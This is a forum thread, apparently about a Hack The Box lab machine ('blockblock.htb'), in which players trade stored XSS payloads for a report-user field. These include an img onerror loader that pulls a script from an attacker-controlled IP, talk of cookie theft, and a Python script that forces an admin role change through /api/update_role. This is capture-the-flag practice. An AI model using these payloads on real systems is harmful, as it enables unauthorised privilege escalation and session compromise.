[Shoseathe]

I got callback from a bot in the backend when I add an img tag in the username input when reporting a user

What payload where u using? I don't get anything back when trying

[standby123]

I got callback from a bot in the backend when I add an img tag in the username input when reporting a user

What payload where u using? I don't get anything back when trying

Yah I got hit 1% of the time, and the payload is just `<img src=http://ip>`

[x1rx]

<img src=1 onerror="this.remove(); var s=document.createElement('script'); s.src='http://10.10.XX.XX/xss.js'; document.body.appendChild(s);">

[olkn00b]

<img src=1 onerror="this.remove(); var s=document.createElement('script'); s.src='http://10.10.XX.XX/xss.js'; document.body.appendChild(s);">

we stealing cookies? I have had no luck yet.

[x1rx]

<img src=1 onerror="this.remove(); var s=document.createElement('script'); s.src='http://10.10.XX.XX/xss.js'; document.body.appendChild(s);">

we stealing cookies? I have had no luck yet.

cookies are HttpOnly , look for the other ways

[0x410x420x41]

The correct way is to use the /api/update_role endpoint to update your user to admin role, however this box is veeery unstable... i am reseting it like 10 times now still no callback to the report-user... :/

---

To anyone stuck that do not receive a callback, use the box's IP directly to connect and not a virtual host (blockblock.htb) , this was my problem... now i am receiving it every time

[standby123]

I don't know any shit about cryptocurrency but after some reading, I think we have to find database contract address to be able to get users password since there no anything useful/usable in the chat contract

[Unbutton8074]

The correct way is to use the /api/update_role  endpoint to update your user to admin role, however this box is veeery unstable... i am reseting it like 10 times now still no callback to the report-user...  :/

---

To anyone stuck that do not receive a callback, use the box's IP directly to connect and not a virtual host (blockblock.htb) , this was my problem... now i am receiving it every time

did you manage to access /admin after change role? i got 401

[olkn00b]

The correct way is to use the /api/update_role  endpoint to update your user to admin role, however this box is veeery unstable... i am reseting it like 10 times now still no callback to the report-user...  :/

---

To anyone stuck that do not receive a callback, use the box's IP directly to connect and not a virtual host (blockblock.htb) , this was my problem... now i am receiving it every time

did you manage to access /admin after change role? i got 401

{
  "username": "asd",
  "type": "admin"
}

any hint on how you found the correct parameter?

[0x410x420x41]

I was able to update it, however indeed i am getting 401 as well

```
import requests
from time import sleep


payload = "<img src=x onerror=\"fetch('/api/update_role', {method: 'POST', headers: { 'Content-Type': 'application/json'}, body: JSON.stringify({ 'username': 'hacker', 'role': 'admin'})})\" />"


url = 'http://10.129.121.94'
headers = {
    "Content-Type": "application/json"
}


s = requests.Session()
print(f"Logging in and sending payload")
r = s.post(f'{url}/api/login', headers=headers, json={"username": "hacker", "password": "hacker"})

print("Reporting user")
r = s.post(f'{url}/api/report_user', headers=headers, json={ "username": payload })
print(r.status_code)
print(r.text)

```